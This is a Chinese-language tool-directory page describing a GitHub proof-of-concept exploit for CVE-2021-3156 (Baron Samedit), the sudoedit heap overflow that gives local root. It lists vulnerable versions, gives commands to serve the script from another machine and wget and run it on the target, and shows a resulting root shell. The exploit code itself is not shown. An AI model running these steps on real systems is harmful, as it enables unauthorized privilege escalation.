Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Review.CVE-2021-3156 — 针对 CVE-2021-3156(Baron Samedit)的 Python 概念验证漏洞利用程序,该漏洞是 sudoedit 中的堆溢出漏洞,可在存在漏洞的 sudo 版本上实现本地权限提升至 root。 | Kitploit
工具/GitHubGitHub/constantinefedorov/review.cve-2021-3156
权限提升漏洞分析漏洞利用渗透测试红队二进制利用
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

针对 CVE-2021-3156(Baron Samedit)的 Python 概念验证漏洞利用程序,该漏洞是 sudoedit 中的堆溢出漏洞,可在存在漏洞的 sudo 版本上实现本地权限提升至 root。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
1年前尚未审核

👑 CVE-2021-3156(Baron Samedit)—— 通过 sudo 中的堆溢出实现权限提升

📅 日期: 2025-06-08
✍️ 作者: @TopskiyPavelQwertyGang 🧠 安全研究员 | 红队爱好者


🧠 CVE 概述

  • CVE-ID: CVE-2021-3156
  • 类型: 基于堆的缓冲区溢出
  • 组件: sudoedit(sudo)
  • 访问级别: 本地
  • 目标: 获取 root 权限

🧠 描述

sudoedit 中的堆溢出使本地用户能够在使用预先构造的参数执行 sudoedit 命令时获取 root 访问权限。

该漏洞利用对 sudo < 1.9.5p2 的版本有效,包括流行的 Ubuntu/Debian/CentOS 镜像。
即使启用了 ASLR,该漏洞仍然可被利用。


🐾 利用条件

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (存在漏洞)
ASLR   : 2 (已启用)

🧪 环境准备

  1. 已检查 glibc 和 sudo 的版本:
ldd --version
sudo --version
  1. 已通过内置 HTTP 服务器从另一台机器传输 PoC 脚本:
python3 -m http.server 80
  1. 在目标机器上下载并执行 PoC:
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 PoC 成功利用

$ python3 exploit_nss.py
# whoami
root

🧾 结论

如果 glibc ≥ 2.26 且 sudo 为存在漏洞的版本,即使 ASLR 处于启用状态,CVE-2021-3156 的利用仍然可行。
最稳定的当属 exploit_nss.py 漏洞利用程序,在 NSS 配置正确的情况下首次运行即可成功。

🧨 系统已受控。


下载工具